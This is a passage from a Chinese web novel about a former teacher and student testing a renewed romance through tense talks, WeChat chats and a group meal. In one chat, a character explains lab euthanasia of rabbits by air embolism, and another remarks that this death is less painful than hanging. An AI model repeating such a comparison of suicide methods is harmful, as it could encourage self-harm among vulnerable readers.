白鹭洲:“还和你过了一夜。” 池柚:“……” 池柚用了很长时间,努力地再次回忆了一遍那晚她能记起来的全部细节。这一遍她全程代入了白鹭洲本人,然后,手脚渐渐一点点冰凉。 所以,她拽着真正的白鹭洲拉到了房间,按着真正的白鹭洲躺到床上,拿着湿毛巾,把真正的白鹭洲的脸来回擦了几十分钟? 池柚有点想扭头走人了。 她的脸迅速地红了起来,连带着脖子都红了一大片。 嘴唇颤了又颤,闭了闭眼,强行按捺住心头翻涌着的想跑的冲动。 “对不起,对不起……那……那我……我有没有在喝醉的时候做、做什么……” 尽管她觉得自己应该是什么都没做,但面对真正的白鹭洲,她还是动摇了原本非常笃定的回忆。她必须要慎之又慎地确认好才行。 白鹭洲又磕了磕茶杯,抬起眼。 “如果我说有,你会怎么样?” 池柚撑住额头,整个人都开始发抖了。 她几次张嘴,却什么都说不出口。 但她显然想逼自己说些话,喉咙一直在上上下下地蛄动,脖子上的青筋浮了起来,跟随脉搏一起跳得乱了拍子。 白鹭洲看见池柚这个样子,心底最软的地方被刺了一下。 她没忍心多骗她一会儿,轻易就说出了事实: “你什么也没做。” 池柚怔怔地垂下手,“真的吗?” “嗯。”白鹭洲松开了茶杯,靠在椅背上,平静地说,“是我,我做了越界的事。” 池柚才松了两秒的心脏又被狠狠捏了起来。 “什么?” 她不敢相信自己的耳朵。 “你这么聪明,我相信你已经从下午的见面中感觉到了我的变化。但我也明白,我拒绝你太久了,你的本能一定在否认你感觉到的东西。” 白鹭洲停顿了片刻。 她注意到背景音乐又换了首歌,侧耳听了一会儿,当是给自己做的缓冲。 “显然你已经忘了那晚我对你说的话,那我……就再说一次。” 池柚愣愣地看着白鹭洲。 白鹭洲也看着池柚。 她面对此刻清醒的池柚,将那句话郑重地说出口: “希望你,再给我们的感情一个机会。” 池柚只觉得无限的迷茫打进了她的脑海,什么东西的巨浪在疯狂汹涌,卷得她没有能力再找到理智的桅杆。 她不懂眼前的白鹭洲,也不懂白鹭洲说的话。 她感觉她的人生都要被这句话打翻了。 “为什么?” 池柚只能顺着身体的想法问问题。 “因为我去过地下室了。” 白鹭洲坦言。 “我以前拒绝你,是觉得你不够成熟,怕幼稚的感情耽误彼此。但那些积木,让我看见了你的成熟。所以……” 白鹭洲很少和人这样诉衷肠,她太不熟练了,讲这些类似于告白的话也不会直勾勾地说“我舍不得你”“我想追求你”“我想和你在一起”,而是理性又规整地说“给我们的感情一个机会”。 解释原因也是,省略了所有心理活动和她流过的许多眼泪,以至于干巴巴的几句话听起来缺失了许多炽烈的感情。 缺少修辞的话语仿佛不加添色的干硬粗线条。 钢筋铁骨般,容易硌痛人心。 明明她的内心正在仰视着对方,近乎是在请求,但太过匮乏的内容、以及习惯性含着清冷的双眼,就是会让人觉得她仍高高在上,高傲地仰着下巴,给对方一个准许似的。 你的心意我看见了。 那给你个机会吧。 于是她的话给池柚带来欣喜的同时,附加了更多的刺痛。 白鹭洲这三言两语太过轻描淡写,轻描淡写到像是在碾着池柚的自尊轧。池柚此刻内心被接受的欣喜越多,自尊就被倾轧得越狠。 真不值钱啊池柚。 十三年的感情,十三年拼凑起来的积木,就是别人眼里这么一个可以轻易拿来改变态度的转折点。 好像从头到尾,决定权都握在白鹭洲的手里。 白鹭洲摇头,她就只能离开。 白鹭洲点头,她就要乖乖回来,捧着双手等这片难得肯降落予她的甘霖。 以前池柚从不在意这样做。哪怕白鹭洲把她当皮球一样踢来踢去一辈子,她都觉得,她心甘情愿,她不介意,她本来就是个没有正常感情的怪物,少一点自尊又怎么了?就当还白鹭洲的恩情不行吗?没关系的啊。 可是不知道为什么,这一刻,看着冰冷的白鹭洲微垂着双眸,终于要为她这片久旱之地赐福,她却…… 为什么呢。 为什么会是这样难堪的感觉呢。 “……不要。” 池柚缓缓地摇了摇头。 “我不要。” 第067章 在开口之前, 白鹭洲多年建立起来的理智告诉过自己,池柚那晚确实喝得太多了,所有回答很有可能都没经过大脑。而且池柚明显不记得了, 说明那天已经喝到了断片。这种情况下,之前的回答俨然需要作废处理, 她的期待需要降低再降低。 退一万步说, 就算那天池柚说的都是真的, 她依旧喜欢她,那一刻也的确愿意给她们的感情一个机会,但已经过去了这么多天, 池柚的身边也出现了新的人,她完全有时间和理由改变主意。 这样的心里建设准备完全,预想好了各种可能,她才敢开的口。 然而池柚真的摇着头说“不要”的时候, 白鹭洲还是感觉有那么一秒, 她快要失去秩序了。 “为什么?” 白鹭洲脱口而出。 “是因为那个柴以曼吗?” “什么?” “你已经答应做她的女朋友了吗?因为已经是别人的人了,所以不愿意再考虑和我之间的可能,是吗?” 池柚震惊地看着白鹭洲。 “您……把我当一个可以和别人争归属权的东西?” “不……” 白鹭洲攥紧了手指,难得地打了个磕巴。 “我、我不是那个意思。” 她怎么可能物化池柚, 她早就在心里确定过, 池柚和考研、考博、唱戏都不一样。池柚不是一个东西或者一个难攀的山巅,她就是她。她永远都会尊重池柚作为一个独立人的意愿。 可她太急了, 因为池柚的这一句否决, 上涨的情绪淹没了她处理语言细节的能力,再一次词不达意地引起了误会。 池柚站起身, 眉头皱得很紧,转身要走。 白鹭洲也立即站起来, 说: “你别走。” 池柚转过头,咽了咽喉咙,声音很轻。 “老师,我虽然有时候犯傻犯蠢,也不能理解很多你们正常人的事情,但我不是没有人格。您可能觉得我一直都是个不知廉耻的人,因为这么多年不知羞地像块狗皮膏药似的追着您……” 是啊,白鹭洲又怎么会知道,这样不知廉耻了三年的人,当年连想将一句最简单的“我喜欢你”说出口,都需要去医生那里治疗好几个月。 池柚不想赘余地提这些。搞煽情,博同情,是她从来都学不会的事。 她只着眼当下。 “……别再羞辱我了。咱们既然好好地道过了别,以后就好好地做师生朋友。您今天说的话我当做没听过,不要影响我们的正常交往。” 白鹭洲从池柚的话里听出了赌气,她知道是她做得不够圆泛,让她们连一段能够顺利沟通心事的对话都不能进行下去。她忍不住自责,使劲深呼吸了两轮。 “别生气。” 白鹭洲压住嗓音里的情绪,低声恳求: “我们不要吵架,好不好?” 池柚抿紧了嘴唇。 “对不起,是我话说得不对。你先坐下。” 白鹭洲伸出手,想握池柚的手腕,可悬停半晌,只敢拉了一下池柚的袖口。 就像以前无数次,池柚小心翼翼地不敢碰触到她一样。 “你……坐下吧。” 似乎没有人可以拒绝这个样子的白鹭洲,正在盛怒气头上的池柚也不行。 白鹭洲在示弱。 冰山在碎裂,寒潭在消融,垃圾桶上的白玫瑰在凋零。 哪怕不打算轻易消气,也忍不住会好奇,她为什么会展露出这样一面。 池柚呼出一口气,长长的睫毛眨了一下又一下,才扶着桌角缓慢地坐了回去。 拿起酒杯,连喝了几口龙舌兰。 白鹭洲也坐了回去,端起茶杯放到唇边,勉强自己喝了一点。她清楚,她们需要这几口水来缓和气氛。 “我能不能先问你一个问题?”长久的安静后,白鹭洲说。 池柚攥着酒杯,垂着眼,“您问。” 白鹭洲:“你现在……还是单身吗?” 如果已经不是单身了,那有些话,她可能就不方便再说了。 白鹭洲的道德感向来极高,不仅是在师生关系上,也在情感关系上。 池柚认真地思考了一下和柴以曼的关系,如实回答:“我不知道算不算,我和柴姐姐没有在一起,但是我答应了和她发展。虽然目前只是朋友,也才见过一面,可我觉得我对她应该是要负责任的。” 起码答应过柴以曼的三个月尝试期内,是要负责的。 负责任。 这样的答案,让白鹭洲都没办法给它划一个范畴。 她不禁苦涩地想:如果这样池柚就要负责,那用这么多年敲碎了她的心墙、再用那一室的积木对她最后的防线攻城略地、然后用那晚一次次点头给她死灰复燃的希望,池柚要不要对她负责呢? “所以…* …”有些话她已经不必再说了吗。 池柚打断她:“您想说什么,尽管说吧,不用顾虑我和她的关系。” 白鹭洲苍白地抿了下唇角,“是吗。” 池柚:“因为我懂,有些事情要是不说清楚,会发生一些很狗血的走向。我学习那些爱情小说的时候很讨厌这种情节,我不想它发生在我身上。” 池柚又抿了口龙舌兰,说: “您愿意这样低声下气挽留我,我相信您有重要的话想讲,我既然愿意坐回来,就代表我也想听。所以请讲吧。” 白鹭洲忽然发现,不知道从什么时候开始,池柚说话再也不结巴了。逻辑很清晰,语气很流利,看向她的眼睛里也少了许多瑟缩,多了显而易见的理智。 这一切都说明,池柚成长了。 或许也说明…… 池柚对她的爱越来越少了。 浓烈的感情和清醒的大脑,向来都是个负相关的减函数。 “我真的没有把你当一个可以和别人争归属权的东西,更没有想羞辱你。” 白鹭洲既觉得自己内心深处现在很想解释清楚,又觉得,莫名地快要被抽干力气了似的。 “看到你送我的积木,我真的很感动,问你的问题也很认真。我真的在期待着,我与你能试着开始一段感情。可能是我不太会说话,我和你十多年前就是师生,我……我不知道要和自己曾经的学生开口讲这种事该用什么样的口吻,我这辈子也没试过用其他态度对待过别人。对不起,我为我刚刚说过的所有不恰当的话道歉。” “老师。” 听完这一段简直不像是能从白鹭洲嘴里说出来的话,池柚的声音里已经没有了怒气,和往常一样,轻轻地唤了声白鹭洲“老师”。 “不过是些积木而已,您能懂我想送给您的祝福就够了。您不必因为感动就牵扯着想到爱情。那个陪伴积木小人一生的伴侣,我没有做出性别,没有做出具体的样子,更没有做得像我,就是想让您明白,这份礼物和示爱无关。” 只是一颗赤诚的祝福之心。 不是想要感动对方、挽回对方的工具。 “我明白,不是因为这个。” 白鹭洲知道池柚误会了。 “我以前一直不愿意接受你,是害怕你的感情不成熟,怕你根本不懂什么是爱情,以为你对我只是雏鸟情节。可那些积木让我懂了,其实你比我想象的要成熟得多,我根本从一开始就不用操那些不必要的心,所以……” “所以,想要试着接受我了。” 池柚微微皱眉,攥着杯子摩挲片刻。 “那您喜欢我吗?” 白鹭洲说这么多,提到认真,提到感动,提到期待,提到机会,然而从始至终,都没有说过一句喜欢她。 这个问题,白鹭洲仔细地思考过,也已经得出过答案。 她郑重地摇头。 “我不知道。所以,我才想要一个和你接触的机会,来确认这件事。” “确认?” 池柚的嘴角向里皱了一下,看不出是什么表情。 “您的意思是,您都根本不能确认自己是不是喜欢我,就把我叫来这里和我说这些话么?” 白鹭洲:“你是不是觉得,很轻浮?” 池柚:“不是么?” 白鹭洲:“不是。” 池柚眼里闪着疑惑的光。 白鹭洲重复一遍:“不是。” 她拿起茶杯,缓缓地喝了剩下的半杯茶。 “……池柚,你可能想象不到,我对这份感情到底有多认真。” 白鹭洲低头望着指尖的茶杯,放慢了语调,尽量详尽地解释。 “我只是想好好地慎重地确认,我到底是在意这份感情,还是在意你。” “不一样吗?” “不一样。在意这份感情,就是贪恋你爱我的感觉,迷恋这份感情给我带来的舒适状态,或者就是喜欢这种理想样子的爱情,中心点都是我自己的感受。但是在意你,就只是在意你,我自己怎样都无所谓了的那种在意,你才是我唯一的中心点。” 池柚的睫毛颤了颤。 “你能明白吗?我需要确认我是在意你、喜欢你这个人,才能开口直言说爱,再和你真正在一起。只有这么做,才是对你负责。” “……” 池柚的眼里有什么东西在闪动。 “我这辈子大概很难再碰到第二个能叩开我心门的人了。你叩得很辛苦,我知道,所以我想很认真地对待你。我不想我只是因为迷恋这份感情给我带来的舒适就和你在一起,因为你很聪明,你会察觉到我的欲望,然后,你一定会为了维持这样的状态付出很多。这样对你不公平。” 白鹭洲瞥向桌角,心绪渐渐平稳,话语也恢复了冷静与秩序。 “我只是想,如果有朝一日我们真的能走到一起,我可以对你真真正正好一辈子,而不是要求你像炒一份漫长的菜一样,炮制一个长达一生的舒服的梦给我。那样的话,你太累了。我不希望、也不允许我自己在感情里充当一个这样的角色。” “所以……” 白鹭洲咽了咽说得干燥的喉咙,眼眸忽然垂了一下。 “我还不能说喜欢你。我只能说,给我一个机会,再给我一点时间。如果……” 她扶着桌角的五指渐渐缩紧。 “如果你现在还愿意的话。” 池柚听完,沉默良久。 半晌,池柚又端起酒杯喝了一口龙舌兰。 她抿了抿湿润的嘴唇。 “我可能也需要一点时间。” 白鹭洲:“为什么?” 池柚:“首先,我答应过柴姐姐和她接触,答应过的事就要做到。至少在我承诺过的时限里,我要给够她机会。” 白鹭洲:“时限是多久?” 池柚:“三个月。” 白鹭洲:“……好,我可以等。” 刚刚池柚说了“首先”,那就肯定还有“其次”。 白鹭洲问:“还有什么原因?” 池柚眨了眨眼睛,不带一点情绪,也在思索。 “还有,我也想确认一件事。您刚刚提到过‘雏鸟情节’,我以前从来没有想过这一点,现在想一想,好像确实……有点容易混淆。” 她认真地看着白鹭洲。 “所以也给我一点时间,让我弄明白,我对您究竟是哪一种感情。” 白鹭洲不带感情地弯了下嘴角,“这么说,我们都需要一些时间。” 池柚:“对,也算扯平了?” 白鹭洲:“……嗯,扯平了。” 池柚:“那,我们就都给我们彼此三个月的时间。这三个月您好好地去想您喜不喜欢我的事,我也专心处理我的事。” 池柚沉吟片刻,又说: “关于我的这三个月,我和您先交代一下。这期间,我和您可以和正常地来往,我和柴姐姐也会继续接触。不过希望您明白,她的优先级比您高,这段时间我和您是绝不可以越界的,可我和她会遵从水到渠成的发展。” 她解释: “因为这是我答应过她的,这是我必须要负的责。我不愿意随随便便扯进来一个人,把人当工具一样随用随丢,我得给她起码的尊重。” 池柚支起下巴,搁在桌上的手轻轻抚动,擦去边沿的一点冷凝水。 “您觉得可以吗,老师?” 白鹭洲:“……你问我么?” “当然。”池柚点头,“我现在问您的意见,也是在给您尊重。” 白鹭洲看到冷凝水被刮在了池柚的尾指上,觉得,自己的心脏也和那湿漉漉的指尖好像。 黏腻的,混乱的。 掺杂着几分对池柚口中开始不确定的“雏鸟情节”的刺痛,也掺杂着池柚提到三个月时间带来的一点希望,还有,得知自己被放在优先级之下的惴惴不安。各种情绪全都潮湿地裹在她的胸口,五味杂陈。 短暂的寂静后,她释然地叹出一口气,抬起眼和池柚对视。 “可以。” 再五味杂陈也无所谓。 因为她分辨得出,这五味中,还是开心占大多数。 不论如何,池柚都愿意对她松口,再给她一个希望。这已经是她做过的所有最坏的打算中最好的一个了。 至少,她还有机会再次握住她。 而面对真正珍惜的人或物时,白鹭洲向来努力又拼命,义无反顾,不遗余力。 她毫不怀疑,接下来的时光里,她不会放过一点捉住这个人的可能。 第068章 这次的对话, 虽然开始有过别扭和两三句争吵,但最后她们都平心静气地坐了下来,将该说的话都好好说出口。没有闹误会。散场时, 也没有带着不忿和怨气。 池柚在盛怒时没有自顾自地离开,白鹭洲想解释, 她就愿意压下火来听。认真地听、往心里听, 然后理性地交流沟通, 把所有话说开说透。这让白鹭洲又一次意识到,池柚真的比她想象中成熟得多。 尽管池柚后来说的话有些太过理智和冷静,显得她好像从感情里更加抽离开了一些, 但白鹭洲不得不承认,池柚这个样子,在给自己带来失落的同时,也展露出了更多能够吸引自己的地方。 年轻的身躯里, 装着童话般纯粹善良的心, 和与外貌极具反差的沉着稳定的灵魂。 白鹭洲永远倾心于安宁、稳定、以及带着一切有安全感特征的人或物。 回到家,白鹭洲洗漱完躺上床,还是忍不住想起池柚。 已经凌晨四点半了,她握着手机, 犹豫半晌, 又给池柚的微信发去消息。 【睡了么?】 池柚在阳台听见里屋里手机的消息提示音。她忙完手头的一点,才用尾指拉下护目镜, 扯了张酒精棉纸擦去手上沾到的血。 她边擦手边起身走回屋内, 将擦完手后已经变成淡红色的酒精棉纸团成团扔进垃圾桶,拿起手机。 看到是白鹭洲的消息, 她眼底的映像凝结了一瞬,才点击输入框回复。 【没有, 在做解剖。】 白鹭洲:【怎么还不睡?】 池柚:【您忘了,我说过,今天睡得很早,已经睡够时间了。反正也睡不着了,我就做会儿解剖工作。】 池柚:【您呢,怎么还不睡?】 白鹭洲:【还不想睡。】 过了一会儿。 白鹭洲:【你在解剖什么?】 池柚:【兔子。】 白鹭洲:【怎么不用小白鼠?】 池柚:【在研究盲肠,鼠类的盲肠不发达,但兔子的盲肠是腹腔中最大的器官。】 白鹭洲:【那解剖前,杀死兔子和小白鼠的方法一样吗?】 池柚:【不一样,小白鼠一般用颈椎脱臼,兔子一般用空气栓塞。】 白鹭洲:【空气栓塞?】 池柚:【就是在它耳朵静脉里注射空气,引起血栓让它死亡。这样死亡会很迅速,它感受到的痛苦也是最小的。】 池柚有点疑惑,又打一行字问: 【您怎么开始对这些感兴趣了?】 白鹭洲是不会直说自己就是单纯想和池柚聊聊天的。 她只在池柚都快要放下手机的时候,迟迟地发来一句: 【就……对小动物进行一些人文关怀。】 “……” 自己都解剖了十几年的实验动物了,白鹭洲才想起人文关怀一下它们吗。 【您放心,没有虐杀,都是常规流程安乐死的。】 白鹭洲:【这样啊。】 池柚:【您要是没什么其他的事,我就先继续忙了。】 白鹭洲:【有。】 池柚:【什么事?】 半晌,白鹭洲才回复来消息。 【明天想请你吃饭。】 池柚以为自己的记忆错乱了,【我们不是才刚刚见过面吗?】 白鹭洲:【不太合适么?】 池柚:【有点。】 白鹭洲:【那后天请你吃饭。】 池柚:【啊?呃,后天也不太合适吧。】 白鹭洲:【那大后天。】 池柚叹了口气。 【老师,您要是真没什么重要的……】 她正在输入这一句时,白鹭洲又紧接着发来下一条消息。 白鹭洲:【请你吃火锅,你可以带上其他朋友一起,黎青,宋七月,或者柴以曼,都可以。】 白鹭洲这时候最不愿意提起的,应该就是这句当初她说过的最令她后悔的话——要池柚带上喜欢的人和她吃火锅。 然而她主动挑了起来,池柚便明白了,这是变相的道歉和恳请。 池柚踌躇片刻,回道:【好吧,我确定好时间和要去的人以后,再联系您。】 白鹭洲:【嗯,那你先忙。】 池柚:【好的。】 池柚退出了白鹭洲的对话框,随意划拉了几下屏幕,顺便大致扫了眼其他的消息。发现没什么特别需要回复的之后,就要锁屏。 可锁屏前,白鹭洲的对话框又跳出了小红点。 白鹭洲:【空气栓塞的方法好像可以留下全尸,而且也比上吊窒息的痛苦小。】 池柚的大脑里跳出一个问号,【您是在给我推荐新的自杀方式?】 白鹭洲:【不是,就是突然想到了。】 ……大半夜的,能不能不要想这些可怕的事。 池柚:【早点睡吧老师。】 白鹭洲:【好,晚安。】 池柚:【现在天已经快亮了。】 白鹭洲:【那早安。】 池柚:【总觉得,早安像是打招呼,晚安才像是对话结束词。】 白鹭洲:【那……早上好,晚安。】 道别完,关掉手机,池柚不禁轻轻笑了一下,按在黑屏上的大拇指慢慢地摩挲了片刻。 原来不再推拒人的白鹭洲是这个样子。 虽然还是不会说什么黏糊的话,字里行间的语气仍旧清淡,甚至字也不会多打一些,表情包也从来不发,但是…… 像一只捡回家以后,钻到床底好多天都不愿意出来的猫。你怎么叫它喊它,给它放好吃的罐头和牛奶,为它安置舒适的小窝,它都始终待在床底下,孤僻到让人心灰意冷。但偶然有一个晚上,你忙完手头的工作,腰酸背痛地撑着脖子抬起头时,却看见它在黑暗中静静地蹲在几步远的地方。 不知道什么时候出来的,不知道陪了你多久。 然后心尖就漫上矛盾的委屈和温暖。 想像它当初不理自己一样地不理它作为惩罚,也想走过去抱起它,亲亲它毛茸茸的额头。 池柚放下手机,转身回到阳台,不再多想。 接下来的时间她专注地做解剖实验,沉浸在盲肠的各种剖面里。天边渐渐吐出鱼肚白,朝霞随着向上移动的初阳铺满天际,她也一直没顾得上抬头看看。 等所有该做的都做完,已经是午后。 早间池秋婉来敲过一次门,问池柚吃不吃早餐,池柚远远地回了句不用,池秋婉便在餐桌上留下一杯牛奶和几个煮鸡蛋后出门上班了。 中午一点,池柚收拾好解剖台,仔细做完清理,走出卧室。 她在空无一人的家里走了两圈,舒缓坐麻了的腿脚。走第二圈的时候顺手拿起煮鸡蛋,边吃边走。 忽然想起了白鹭洲问的事,池柚叼着鸡蛋拿出手机,给黎青发消息。 池柚:【黎师姐,一起吃饭吗?】 黎青很快回复了:【好啊,我和七月刚到餐厅,就是咱们上次一起来过的那家海鲜大咖,你现在过来呗。】 池柚:【我不是问今天。】 黎青:【没事,你要是有空现在直接过来,想约什么、约哪天,咱们现场聊。】 池柚:【不会打扰到你们吗?】 黎青:【不会,七月也想见见你。】 正好池柚也饿了,想着吃这几个鸡蛋也吃不饱,便回了句好。 她简单收拾了一下,拎上包出门了。 一路打车到海鲜大咖,找到黎青和宋七月,离她们的微信对话只过去了半小时。 海鲜餐厅内。 宋七月老远就看见了池柚,使劲挥手:“小柚子,这边这边!” 黎青回过头,笑眯眯地看了池柚一眼,“挺快的啊。” 宋七月:“刚好第一波菜才上,你真是会踩时间点。”她主动起身,帮池柚把包放到筐子里,直接不坐黎青旁边了,拉着池柚挨着她一屁股坐下,“坐这儿。” 池柚愣愣地:“宋姐姐,你这是……” 宋七月:“可算见到你了,这段时间黎青她不让我找你八卦,憋死我了真的!我听黎青说狂欢派对那晚白教授找你去了,你们发生什么了,快交代。” 池柚无奈道:“你是只听那一晚的事,还是这半个多月的所有事啊?” “还有别的事?”宋七月两眼放光,“当然全听啊,快说快说。” 于是池柚老老实实地将她和柴以曼、白鹭洲之间进行过的对话和发生过的事件详细地和盘托出。 包括她和柴以曼的相亲过程,还有在楼洞口偶遇白鹭洲,以及在酒吧和今天凌晨与白鹭洲交流过的所有对话。 等她说完,都已经是二十分钟后的事了。 讲得口干舌燥的池柚端起杯子,喝光了杯里的水。 “我靠。”宋七月目瞪口呆,“这么……劲爆。” 黎青饶有意味地弯起眼眸,“比我想象中发展得还有意思啊。” 宋七月还是不敢相信:“你说的那个白鹭洲,还是我那个不食人间烟火的棺材脸表甥孙女吗?” “别说废话。” 黎青支起下巴,看着池柚。 “所以今早白教授邀请你一起吃饭,你就想到了我们,才在微信里问我?” 池柚点头。 黎青:“我们可以去,但你也要带上柴以曼。” 宋七月又在心里我靠了一声,睁大眼睛看向黎青。这么会玩? 池柚:“为什么啊?” 黎青:“要是说点虚伪的话么,因为你早晚都要带着柴以曼去和白教授吃饭,起码这一次有我们在场,你会轻松一些。要是说点实话的话——因为,我想看乐子。” 宋七月眼巴巴地附和:“我也是。” 池柚无法反驳,“那……好吧。” 黎青看了下手机,说:“我们最近探到了一家不错的火锅餐厅。后天中午两点,就在那家餐厅,我把名字地址发给你,你问问她俩方不方便。” 池柚也拿起手机,说好。 池柚确定好餐厅名字和时间之后,想群发给白鹭洲和柴以曼,在手机上戳戳点点,不熟练地操作。 结果也不知道是怎么操作的,她按下一个按钮后,忽然,微信界面多了一个群聊。 …… 她居然把自己、柴以曼、白鹭洲三个人,拉进了一个群。 我……的……天…… 池柚还没来得及震惊,就看见群聊对话里多了两条消息。 柴以曼:【这是?】 白鹭洲:【……?】 第069章 坐在池柚身边的宋七月眼尖地目睹了这一荒谬瞬间的诞生。 “我去!!” 宋七月指着池柚磕磕巴巴地对黎青求救。 “她她她她、她把她们仨人拉了个群!” “慌什么。” 黎青不紧不慢地端起杯子喝了口雪碧。 “马上把我俩也拉进去, 然后把群名改成约饭的时间地点。” “关键时刻还得是你!” 宋七月由衷地夸赞一句,扭过头,怕池柚又不会操作, 直接从她手里拿过手机帮她。拉人,改群名。然后宋七月马上换自己的手机, 在新进的群里发消息。 宋七月:【哈哈, 饭搭子们好。】 黎青笑道:“你不觉得你有点尴尬吗?” 宋七月:“那你来个不尴尬的。” 黎青:【@鹭洲__, 白教授你好。】 黎青:【@柴门雪,柴大作家你好。】 好么,可能本来柴以曼和白鹭洲还不知道对方是谁, 现在应该很清楚地知道了。 宋七月头顶冒黑线,“你做的事好像更尴尬。” 黎青:“我是帮你烘托气氛。” 宋七月:“我谢谢你。” 池柚硬着头皮在群里发消息,艾特了黎青和宋七月,介绍了她们微信号下的身份。 柴以曼:【我看群名是时间和地点, 是要一起吃饭么?】 池柚这才想起来还没和柴以曼说过这事, 便打字:【对,想大家一起约顿饭,姐姐看看这个时间,有空吗?】 柴以曼:【啊~这样子。】 柴以曼:【有空是有空, 不过我还以为, 我们的第二次约会还是只有我们两个人呢。】 看到这句话,一想到白鹭洲此刻也在群里, 池柚心里就咯噔了一下。 她对这种局面本能地恐惧, 抬头问黎青: “黎师姐,我现在把老师移出群聊的话, 合适吗?” “那她估计会更伤心的吧。” 黎青支起胳膊,指尖在手机上敲敲打打, 帮忙找补。 【柴大大的意思是,不欢迎我们这些朋友了?】 柴以曼:【哈哈哈,当然不是。第二次约会小柚子就愿意带我见朋友,我很期待。】 黎青发现,这个柴以曼的蔫儿坏程度和自己有一拼了。 这简简单单的三言两语,足够白鹭洲难受半天的。 可白鹭洲一直没在群里说话,她们这些看热闹的就算想观赏一下她绷不住的样子,也没机会。 白鹭洲虽然没在群里说话,却和池柚发了私聊消息。 白鹭洲:【我会按时到的。】 池柚看了会儿手机屏幕,打字:【好。】 白鹭洲:【这顿饭我请,你和她们说一声。】 池柚:【您可以直接在群里说啊。】 白鹭洲:【不想。】 池柚盯着“不想”这两个字,一时间弄不懂,白鹭洲是不习惯在人多的群里说话,还是不想和群里的人产生交流。 不过既然是白鹭洲的意愿,池柚当然尊重。 她切回到群聊,发送:【老师说了,这顿饭她来请。】 这条消息发出去半分钟后,柴以曼的私聊消息也过来了。 柴以曼:【你们有交流不在群里进行,偷偷说悄悄话啊?】 池柚都快出汗了,【就是单纯地说了一下吃饭的事。】 柴以曼:【我不缺钱,我也想请这顿饭。】 池柚:【既然老师先说了,这次就让她请吧,如果有下次约饭,姐姐再请。】 柴以曼:【话是这么说,不过第二次约会就吃情敌请的饭,多少还是让人有点难受呢。】 情敌? 池柚撑住额头。 白鹭洲的消息再次发来。 白鹭洲:【其实我早上的意思是,你带一两个朋友就行了,没想到你把我提到的人全邀请了。】 池柚只好切到白鹭洲的对话框,回道:【是人太多了,超预算了吗?】 白鹭洲:【不是。只是我个人不太习惯太热闹的聚会,但没关系,既然已经邀请了,就正常吃吧。】 池柚:【好,我下次注意。】 白鹭洲:【不用在意我,只要你喜欢这样聚,我会慢慢习惯的。】 池柚正要回复的时候,屏幕上方跳出了柴以曼的消息提示。 柴以曼:【怎么不回我呢?又去和别人私聊了啊。】 池柚:【不是,我在吃饭。】 柴以曼:【你之前吃饭的时候,会放下筷子回复完我后再继续吃的。】 池柚:【抱歉抱歉。】 柴以曼:【又不是真的在怪你,哈哈哈,你吃吧~】 池柚:【好,谢谢姐姐。】 池柚焦头烂额地应付着两边对话,心里不禁感慨一句: 这俩人有话,为什么不能在公共群里说? 而且这来回切对话框的样子,搞得她好像…… 好像……网上说的那种海王…… 黎青和宋七月很快发现,观赏不到生气的白鹭洲,观赏一下池柚争分夺秒、应接不暇地飞速打字的场景,也蛮有意思。 尤其是宋七月,她眼睛都快贴到池柚的手机屏上了,看到全程的她乐得嘴就没合上过。 黎青还特意观察着池柚的动作,用自己的微信卡点给她发了条私聊消息,让池柚忙乱中错点进了她的对话框,回复错了消息。 回完了池柚才发现这是黎青的对话框,皱着眉抬眼: “黎师姐,你——” 明明坐在对面还要发消息,就是故意的。 两口子一起没心没肺地笑了起来。 黎青笑够了,说:“好了,和她们说一声你手机没电了,咱们专心吃饭吧。” 宋七月:“就是,蟹都凉了。” 池柚:“好吧。”似乎也没有更好的能将她从这种混乱局面里解救出来的办法。 终于收完尾,池柚长舒一口气,放下手机。 黎青叫服务员又把海鲜端去热了一遍,三个人才吃了口热乎的。 一顿饭下来,宋七月又问了不少问题,池柚能回答的都照实回答了,充分地满足了朋友的好奇心。 吃完饭她们还带着池柚去看了个电影。 池柚一想到上回的狗血青春疼痛片就犯怵,本来不想去的,但黎青说为了感谢池柚这么掏心掏肺地对她们,这一回看一部黎青精心挑选的R级血腥暴力片。 宋七月使劲点头,说她就算全程捂着眼睛也要舍命陪君子。 这次的电影看得很舒爽,一个半小时的时间没人打瞌睡。 池柚看得聚精会神,宋七月跟着影院其他观众一起失声惊叫,黎青笑着把宋七月揽在怀里帮她捂眼睛。 有时候看到一些血腥镜头,黎青还会和池柚小声讨论几句医学生才懂的话题。 散场时,池柚表示今天的观影体验很不错,她很满意。 “早点回家,期待后天的聚餐哦。”宋七月向池柚挥手。 黎青笑眯眯地说:“我也很期待。” 池柚:“那后天见,谢谢姐姐们今天请客。” 黎青、宋七月:“不客气。” 池柚打车回家。 她回家后没多久,池秋婉也下班回来了。池柚在阳台继续解剖的时候,池秋婉在厨房做了一大顿丰盛的菜,敲门说今天就留了几个煮鸡蛋,现在好好补偿一下女儿的胃。 虽然池柚刚吃饱,但走到餐厅看到妈妈辛苦做的一大桌菜时,还是什么都没说,坐下来又吃了不少。 饭桌上池秋婉问起昨天和柴以曼约会的事。 池柚乖乖地详细讲了一遍她们的动线。 池秋婉:“哎我不是想听这个,我就是想知道,你感觉怎么样?” 池柚:“感觉?” 池秋婉:“就是和以曼相处起来的感觉。” 池柚认真想了想,回答:“感觉很好,她人很温柔,对我也好。我们的价值观应该很合,所以聊起天来,我不会觉得她说的话哪里不对。她也很会找话题,我有时候不知道该聊什么了,她总可以很自然地引出一个话头,让我很舒服地聊下去。” 池秋婉很高兴,“怪不得你们星座匹配度那么高,看来真是有点道理的,不用怎么磨合就这么合得来,天作之合啊。” 池柚低着头夹了一筷子菜,脸上却没什么特别开心的表情,“是吗。” 池秋婉:“那可不。告诉你个事儿,我也偷偷查过你和白老师的星座匹配度,水瓶和巨蟹,匹配分数特别低。你和以曼匹配度是100分,但是和白老师的匹配度只有40分。说明你和白老师的性格天生就不是很合,你们聊天、相处,都容易有很多矛盾。还是以曼最适合你。” 池柚的筷子顿在碗里。 “和性格不合适的人在一起很麻烦的,你在想东,她在想西。一言不合就闹矛盾,闹了矛盾就得花时间精力去解决,不管解决得成还是不成,人都会很累。怎么比得上一开始就契合的人?” 池秋婉叹了口气。 “我知道你是个懂事的孩子,总会压下情绪,把解决问题放在第一位。但不合适的人,在一起就是要耗费你更多的精力去解决问题,时间久了,你还撑得住吗?所以不如直接挑一个合适的人,轻轻松松地在一起,这样感情才能安稳,才能长久啊。唉,可能你现在还小,还不懂我说的这个‘合适’到底有多重……” 池柚放下了筷子,皱起眉。 “对于爱情来说,合适就可以了吗?” 池秋婉听到池柚筷子和瓷碗碰撞出的清脆声音,愣了一下,缓缓咽下嘴里的菜。 “我觉得您说得不对。” 